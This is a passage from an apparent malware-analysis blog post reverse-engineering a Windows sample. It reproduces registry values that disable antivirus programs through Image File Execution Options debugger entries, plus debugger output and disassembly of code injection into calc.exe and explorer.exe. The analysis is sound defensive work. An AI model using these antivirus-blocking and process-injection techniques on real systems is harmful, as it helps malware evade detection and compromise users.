NT\\CurrentVersion\\Image File Execution Options\\ZhuDongFangYu.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LiveUpdate360.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360sd.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360rp.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rstray.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\RavMonD.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\DSMain.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;9&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;10&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{5BB5FF59-A724-4667-B6FA-81C1AF65622A} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;11&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;12&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;13&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;14&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;15&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;16&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\\1.0 &quot;&quot; = WmiLib\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\\1.0\\FLAGS &quot;&quot; = 0\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\\1.0\\0\\win32 &quot;&quot; = C:\\Program Files\\ComPlus Applications\\MSVB50CHS.dll\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\\1.0\\HELPDIR &quot;&quot; = C:\\Program Files\\ComPlus Applications\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A} &quot;&quot; = _Services\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A}\\ProxyStubClsid &quot;&quot; = {00020424-0000-0000-C000-000000000046}\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A}\\ProxyStubClsid32 &quot;&quot; = {00020424-0000-0000-C000-000000000046}\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A}\\TypeLib &quot;&quot; = {B5A191F0-889A-42F0-A98B-F4B9CB39197E}\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A}\\TypeLib &quot;Version&quot; = 1.0\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{317C7177-0E7D-4FD5-92E6-813724DFF38D} &quot;&quot; = WmiLib.Services\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{317C7177-0E7D-4FD5-92E6-813724DFF38D} &quot;ProgID&quot; = WmiLib.Services\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{317C7177-0E7D-4FD5-92E6-813724DFF38D}\\InprocServer32 &quot;&quot; = C:\\Program Files\\ComPlus Applications\\MSVB50CHS.dll\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{317C7177-0E7D-4FD5-92E6-813724DFF38D}\\InprocServer32 &quot;ThreadingModel&quot; = Apartment\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{317C7177-0E7D-4FD5-92E6-813724DFF38D} &quot;TypeLib&quot; = {B5A191F0-889A-42F0-A98B-F4B9CB39197E}\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{317C7177-0E7D-4FD5-92E6-813724DFF38D} &quot;VERSION&quot; = 1.0\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\WmiLib.Services &quot;&quot; = WmiLib.Services\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\WmiLib.Services &quot;Clsid&quot; = {317C7177-0E7D-4FD5-92E6-813724DFF38D}\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A} &quot;&quot; = Services\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A} &quot;ProxyStubClsid&quot; = {00020424-0000-0000-C000-000000000046}\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Interface\\{02F009E1-9AF0-497D-9688-2380D0012D0A} &quot;ProxyStubClsid32&quot; = {00020424-0000-0000-C000-000000000046}<\/pre>\n<p>Threads :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/l.exe-thread-view.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"l.exe-thread-view\" border=\"0\" alt=\"l.exe-thread-view\" src=\"\/wp-content\/uploads\/2010\/12\/l.exe-thread-view_thumb.png\" width=\"650\" height=\"322\" \/><\/a><\/p>\n<p>Wow - looks like we only saw the tip of the iceberg\u2026&#160; <\/p>\n<p>Despite putting in a lot of effort already, it looks like parts of the actual infection were not documented or detected in my first run through the debugger. A lot more files got created, threads started, registry keys changed, network connections initiated (worm ?)\u2026 and it looks like I missed that.&#160; <\/p>\n<p>&#160;<\/p>\n<h3>December 2nd, 2010 21:45:30 GMT+1 - stage 4 - calc.exe<\/h3>\n<p>One of the things that is left undocumented at this point, is the calc.exe process.&#160; It is launched by a CreateProcess() call (at 0x00401E05), and appears to be an important step in the infection process.&#160; A process created with this function will run in the context of the calling process.&#160; <\/p>\n<p>When looking at the CreateProcess function syntax, we see this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">BOOL WINAPI CreateProcess(\n  __in_opt     LPCTSTR lpApplicationName,\n  __inout_opt  LPTSTR lpCommandLine,\n  __in_opt     LPSECURITY_ATTRIBUTES lpProcessAttributes,\n  __in_opt     LPSECURITY_ATTRIBUTES lpThreadAttributes,\n  __in         BOOL bInheritHandles,\n  __in         DWORD dwCreationFlags,\n  __in_opt     LPVOID lpEnvironment,\n  __in_opt     LPCTSTR lpCurrentDirectory,\n  __in         LPSTARTUPINFO lpStartupInfo,\n  __out        LPPROCESS_INFORMATION lpProcessInformation\n);<\/pre>\n<p>and the arguments used in l.exe are :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012E854   00000000  ....  |ModuleFileName = NULL\n0012E858   00333A19  :3.  |CommandLine = &quot;calc&quot;\n0012E85C   00000000  ....  |pProcessSecurity = NULL\n0012E860   00000000  ....  |pThreadSecurity = NULL\n0012E864   00000000  ....  |InheritHandles = FALSE\n0012E868   00000004  ...  |CreationFlags = CREATE_SUSPENDED\n0012E86C   00000000  ....  |pEnvironment = NULL\n0012E870   00000000  ....  |CurrentDir = NULL\n0012E874   0012FB50  P\u00fb.  |pStartupInfo = 0012FB50\n0012E878   0012FB98  \u02dc\u00fb.  \\pProcessInfo = 0012FB98<\/pre>\n<p>Basically, this call will launch calc.exe (CommandLine parameter) from c:\\windows\\system32.&#160; The process will be put in a suspended state (until ResumeThread is called). The last 2 arguments are interesting :<\/p>\n<ul>\n<li>pStartupInfo contains a pointer to a <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms686331(v=VS.85).aspx\"><strong>STARTUPINFO<\/strong><\/a> or <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms686329(v=VS.85).aspx\"><strong>STARTUPINFOEX<\/strong><\/a> structure.&#160; (0012FB50 in our case) <\/li>\n<li>pProcessInfo is a pointer to a <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms684873(v=VS.85).aspx\"><strong>PROCESS_INFORMATION<\/strong><\/a> structure that receives identification information about the new process. (0012FB98 in our case) <\/li>\n<\/ul>\n<p>A startupinfo structure looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">typedef struct _STARTUPINFO {\n  DWORD  cb;\n  LPTSTR lpReserved;\n  LPTSTR lpDesktop;\n  LPTSTR lpTitle;\n  DWORD  dwX;\n  DWORD  dwY;\n  DWORD  dwXSize;\n  DWORD  dwYSize;\n  DWORD  dwXCountChars;\n  DWORD  dwYCountChars;\n  DWORD  dwFillAttribute;\n  DWORD  dwFlags;\n  WORD   wShowWindow;\n  WORD   cbReserved2;\n  LPBYTE lpReserved2;\n  HANDLE hStdInput;\n  HANDLE hStdOutput;\n  HANDLE hStdError;\n} STARTUPINFO, *LPSTARTUPINFO;<\/pre>\n<p>Based on the contents at 0012FB50, the (non-null) values for each of those members is : <\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FB50  44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  D...............\n0012FB60  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n0012FB70  00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00  ............\u20ac...\n0012FB80  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n0012FB90  00 00 00 00 7C 00 00 00                          ....|...<\/pre>\n<ul>\n<li>cb : 0x44 <\/li>\n<li>wShowWindows : 0x80 <\/li>\n<li>hStdError : 0x7c <\/li>\n<\/ul>\n<p>A Process_Information structure contains the following members :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">typedef struct _PROCESS_INFORMATION {\n  HANDLE hProcess;\n  HANDLE hThread;\n  DWORD  dwProcessId;\n  DWORD  dwThreadId;\n} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;<\/pre>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FB98  C4 FD 12 00 A8 FB 12 00 F6 1E 83 7C 38 FB 12 00  \u00c4\u00fd.\u00a8\u00fb.\u00f6\u0192|8\u00fb.<\/pre>\n<ul>\n<li>hProcess : 0012FDC4 <\/li>\n<li>hThread : 0012FBA8 <\/li>\n<li>dwProcessId : 7C831EF6 <\/li>\n<li>dwThreadId : 0012FB38 <\/li>\n<\/ul>\n<p>So, when the CreateProcess() call is executed, a new thread is created (7B0 in my example), but kept in &quot;suspended&quot; state.<\/p>\n<blockquote>\n<p>Note : if spawning calc.exe didn't work, l.exe will try to launch osk.exe instead (XP's On-Screen Keyboard Utility)<\/p>\n<\/blockquote>\n<p>In the CreateProcess() function (kernel32), a memmove is issued, moving the Startupinfo structure to 0012E780<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image127.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb124.png\" width=\"607\" height=\"185\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image128.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb125.png\" width=\"555\" height=\"382\" \/><\/a><\/p>\n<p>Then, a call to kernel32.CreateProcessInternalW is made, using the following arguments :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012E730   00000000  ....  |Arg1 = 00000000\n0012E734   00000000  ....  |Arg2 = 00000000\n0012E738   0014C470  p\u00c4.  |Arg3 = 0014C470\n0012E73C   00000000  ....  |Arg4 = 00000000\n0012E740   00000000  ....  |Arg5 = 00000000\n0012E744   00000000  ....  |Arg6 = 00000000\n0012E748   00000004  ...  |Arg7 = 00000004\n0012E74C   00000000  ....  |Arg8 = 00000000\n0012E750   00000000  ....  |Arg9 = 00000000\n0012E754   0012E780  \u20ac\u00e7.  |Arg10 = 0012E780\n0012E758   0012FB98  \u02dc\u00fb.  |Arg11 = 0012FB98\n0012E75C   00000000  ....  \\Arg12 = 00000000<\/pre>\n<p>When that call returns, calc.exe is running.<\/p>\n<p>So, as explained earlier, the CreateProcess() call is followed by VirtualAlloc() at 00401E44 and WriteProcessMemory() at 00401E7C.&#160; The WPM() call writes data (0x1000 bytes), from 0012E884 to the newly allocated heap at 0xA0000.&#160; It will write the amount of bytes written to 0012FB94.&#160; A little while later, ResumeThread() is called, which tells calc.exe to run.<\/p>\n<p>The new heap block, starting at 0xA0000, is associated with calc.exe.&#160; The whole purpose of launching a genuine instance of calc is to inject code in it and let it run.&#160; In order to figure out what that code does, we need to be able to attach a debugger to it.<\/p>\n<p>In order to attach a debugger to calc.exe, make sure the process is paused (use Process Explorer to do that) and then the process will show up in a second debugger.<\/p>\n<p>Then, directly before running WPM in l.exe, you can see the current contents of memory at 0xA0000. <\/p>\n<p>After WPM is executed, the heap in calc.exe is updated as well :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image126.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb123.png\" width=\"577\" height=\"435\" \/><\/a><\/p>\n<p>If we look at the first function in the code, we see this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">000A0004 897424 0C MOV DWORD PTR SS:[ESP+C],ESI\n000A0008 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C]\n000A000C 33DB XOR EBX,EBX\n000A000E 8D7E 0C LEA EDI,DWORD PTR DS:[ESI+C]\n000A0011 57 PUSH EDI\n000A0012 FF16 CALL DWORD PTR DS:[ESI] ; Delete l.exe\n000A0014 85C0 TEST EAX,EAX\n000A0016 75 0E JNZ SHORT 000A0026 ; Successful, then <span style=\"color: #0000ff\">exit<\/span>\n000A0018 6A 0A PUSH 0A\n000A001A FF56 04 CALL DWORD PTR DS:[ESI+4] ; sleep\n000A001D 43 INC EBX\n000A001E 81FB E8030000 CMP EBX,3E8 ; 1000x\n000A0024 ^7C EB JL SHORT 000A0011 ; try to delete l.exe again\n000A0026 6A 00 PUSH 0\n000A0028 FF56 08 CALL DWORD PTR DS:[ESI+8] ; <span style=\"color: #0000ff\">exit<\/span>\n000A002B 5F POP EDI\n000A002C 5E POP ESI\n000A002D 5B POP EBX\n000A002E 59 POP ECX\n000A002F C3 RETN<\/pre>\n<p>The function will simply try to delete l.exe and then exits\u2026&#160;&#160; Looks like a cleanup routine.<\/p>\n<p>Open l.exe again in the debugger, run !hidedebug all_debug and then set breakpoints on some functions in kernel32 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image129.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb126.png\" width=\"656\" height=\"282\" \/><\/a><\/p>\n<p>(set a bp at ResumeThread as well - not shown in the list above)<\/p>\n<p>Set a breakpoint at 00401E05 and then let l.exe run. You'll observe 2 exceptions (pass both of them to the application with Shift+F9). You should then hit a breakpoint at the CreateProcess() call.<\/p>\n<p>Inside the CreateProcess routine, a call is made to kernel32.CreateProcessInternalA.&#160; In that function, first a call is made to kernel32.7C8024D6 and then a call is made to kernel32.7C811598 (at 0x7C81D56F)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image130.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb127.png\" width=\"527\" height=\"384\" \/><\/a><\/p>\n<p>While looking at function 7C811598, I also observed some new processes being created (and closed) in process explorer :<\/p>\n<p>(~DF15.exe in the screenshot below) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image131.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb128.png\" width=\"640\" height=\"223\" \/><\/a><\/p>\n<p>(I only caught one of them in this screenshot, but as you will see later, more similar processes get created).&#160; After those processes are started (and closed), the machine starts making connections to other hosts on the network.&#160; It's unclear if those (child) processes are responsible for the network connectivity or not\u2026&#160; <\/p>\n<p>Furthermore, at that time, our CreateProcess() hasn't even run yet\u2026&#160; <\/p>\n<p>I decided to run process monitor, set a breakpoint at 00401E05, keep the application &quot;paused&quot; (don't jump into the CreateProcess call yet), and watch interactions in procmon.&#160; <\/p>\n<p>Interestingly enough, the process activity kicks off even without running&#160; CreateProcess(&quot;calc&quot;), and\u2026 guess what, procmon reports calc.exe is already running.&#160; We missed something\u2026 again.<\/p>\n<p>It looks like our mysterious calc is not the key. Calc is used to clean up, and the cleanup code is injected by the WPM() call, writing to 0xA000\u2026&#160;&#160;&#160; <\/p>\n<p>It did not do any harm though, so something else is going on here. <\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>December 2nd, 2010 21:45:30 GMT+1 - stage 4 - <strike>calc.exe<\/strike> explorer.exe<\/h3>\n<p>Calc.exe is clearly not stage 4. Something happened before calc was executed.<\/p>\n<p>Let's take a closer look at some of the entries in the procmon report :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image132.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb129.png\" width=\"649\" height=\"279\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image133.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb130.png\" width=\"649\" height=\"370\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image134.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb131.png\" width=\"653\" height=\"228\" \/><\/a><\/p>\n<p>Oh - so explorer.exe is creating a new thread\u2026 no wonder we couldn't see anything in the debugger.<\/p>\n<p>Let's see what else happens :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image135.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb132.png\" width=\"651\" height=\"119\" \/><\/a><\/p>\n<p>owww - more threads\u2026<\/p>\n<p>and more processes :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image136.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb133.png\" width=\"641\" height=\"356\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image140.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb137.png\" width=\"645\" height=\"57\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image138.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb135.png\" width=\"647\" height=\"64\" \/><\/a><\/p>\n<p>and so on\u2026&#160; Full report can be found here : <a title=\"http:\/\/redmine.corelan.be:8800\/attachments\/download\/185\/l.exe_2_Logfile.PML.zip\" href=\"http:\/\/web.archive.org\/web\/20111211034657\/http:\/\/redmine.corelan.be:8800\/attachments\/download\/185\/l.exe_2_Logfile.PML.zip\">http:\/\/redmine.corelan.be:8800\/attachments\/download\/185\/l.exe_2_Logfile.PML.zip<\/a><\/p>\n<p>(put a filter on process l.exe and explorer.exe)<\/p>\n<p>Okay - it looks like something (l.exe ?) injected something into explorer.exe (before running calc.exe ?). We don't know yet if the injection took place to hook functions\/API's, or to just execute code.&#160; Based on the procmon results, it looks like the latter is more likely. After all, we did not see anything that would alter\/hide results in directory listings, process listings, etc\u2026 So no real API hooking occurred as far as we can see)<\/p>\n<p>Before going back at l.exe, let's briefly list some common ways to inject code into a remote process (userland) :<\/p>\n<ul>\n<li>Windows Hooks (we'll assume that this is not the case in our example, so we'll skip this one for now) <\/li>\n<li>CreateRemoteThread() <\/li>\n<li>other techniques <\/li>\n<\/ul>\n<p>In order to inject a dll into a remote process, <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms682437(v=vs.85).aspx\">CreateRemoteThread<\/a> can be used (which starts a new thread in a remote process). This thread can be told to execute code, load a library, etc etc (using the lpStartAddress argument).&#160; If the code needs to be able to use strings or other data\/code that are currently only known by the injector code (which would be l.exe in our case), then we'll probably see some memory being allocated first (VirtualAllocEx()), and bytes are then copied to that address space (using WriteProcessMemory() for example). You can find more info about this technique in <a href=\"https:\/\/web.archive.org\/web\/20120505181255\/http:\/\/www.phrack.org\/issues.html?issue=62&amp;id=13&amp;mode=txt\">this excellent Phrack<\/a> article<\/p>\n<p>Another technique would be to hijack an existing thread and have it execute code.&#160; In order to pull this off, the code would probably monitor the creation of new processes, get the thread handle of the first thread in the process, and suspend it.&#160; Next, code would be copied to the thread (overwriting existing code), and then the thread would be resumed.&#160; One of the things the injector would probably do, is use GetThreadContext() to get the context flags and thread structure and then patch the structure.&#160; <\/p>\n<p>This looks like a routine we saw earlier, used to patch memory in the calc.exe process.&#160; At the same time, we are pretty sure that's not the injection that is causing additional infection.<\/p>\n<p>One of our team members, _sinn3r, spent some time looking for routines\/signs that could be associated with injection, and he found this one (in the .tmp dll file)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">10004CB7   FF15 F8900010    CALL DWORD PTR DS:[&lt;&amp;KERNEL32.GetModuleHandleA&gt;]\n10004CBD   50               PUSH EAX\n10004CBE   E8 D5F4FFFF      CALL 5C.10004198\n10004CC3   3BC7             CMP EAX,EDI\n10004CC5   59               POP ECX\n10004CC6   59               POP ECX\n10004CC7   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX\n10004CCA   74 73            JE SHORT 5C.10004D3F\n10004CCC   53               PUSH EBX\n10004CCD   FF75 08          PUSH DWORD PTR SS:[EBP+8]\n10004CD0   E8 99FDFFFF      CALL 5C.10004A6E\n10004CD5   59               POP ECX\n10004CD6   50               PUSH EAX\n10004CD7   57               PUSH EDI\n10004CD8   68 FF0F1F00      PUSH 1F0FFF\n10004CDD   8945 08          MOV DWORD PTR SS:[EBP+8],EAX\n10004CE0   FF15 90910010    CALL DWORD PTR DS:[&lt;&amp;KERNEL32.OpenProcess&gt;]\n10004CE6   8BD8             MOV EBX,EAX\n10004CE8   3BDF             CMP EBX,EDI\n10004CEA   74 52            JE SHORT 5C.10004D3E\n10004CEC   56               PUSH ESI\n10004CED   6A 40            PUSH 40\n10004CEF   68 00100000      PUSH 1000\n10004CF4   FF75 10          PUSH DWORD PTR SS:[EBP+10]\n10004CF7   57               PUSH EDI\n10004CF8   53               PUSH EBX\n10004CF9   FF15 98900010    CALL DWORD PTR DS:[&lt;&amp;KERNEL32.VirtualAllocEx&gt;]\n10004CFF   8BF0             MOV ESI,EAX\n10004D01   3BF7             CMP ESI,EDI\n10004D03   74 31            JE SHORT 5C.10004D36\n10004D05   8D45 10          LEA EAX,DWORD PTR SS:[EBP+10]\n10004D08   50               PUSH EAX\n10004D09   FF75 10          PUSH DWORD PTR SS:[EBP+10]\n10004D0C   FF75 0C          PUSH DWORD PTR SS:[EBP+C]\n10004D0F   56               PUSH ESI\n10004D10   53               PUSH EBX\n10004D11   FF15 94900010    CALL DWORD PTR DS:[&lt;&amp;KERNEL32.WriteProcessMemory&gt;] <\/pre>\n<p>Before OpenProcess() is called, we see the following interesting call :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">10004CCC   53               PUSH EBX\n10004CCD   FF75 08          PUSH DWORD PTR SS:[EBP+8]\n10004CD0   E8 99FDFFFF      CALL 5C.10004A6E        ; 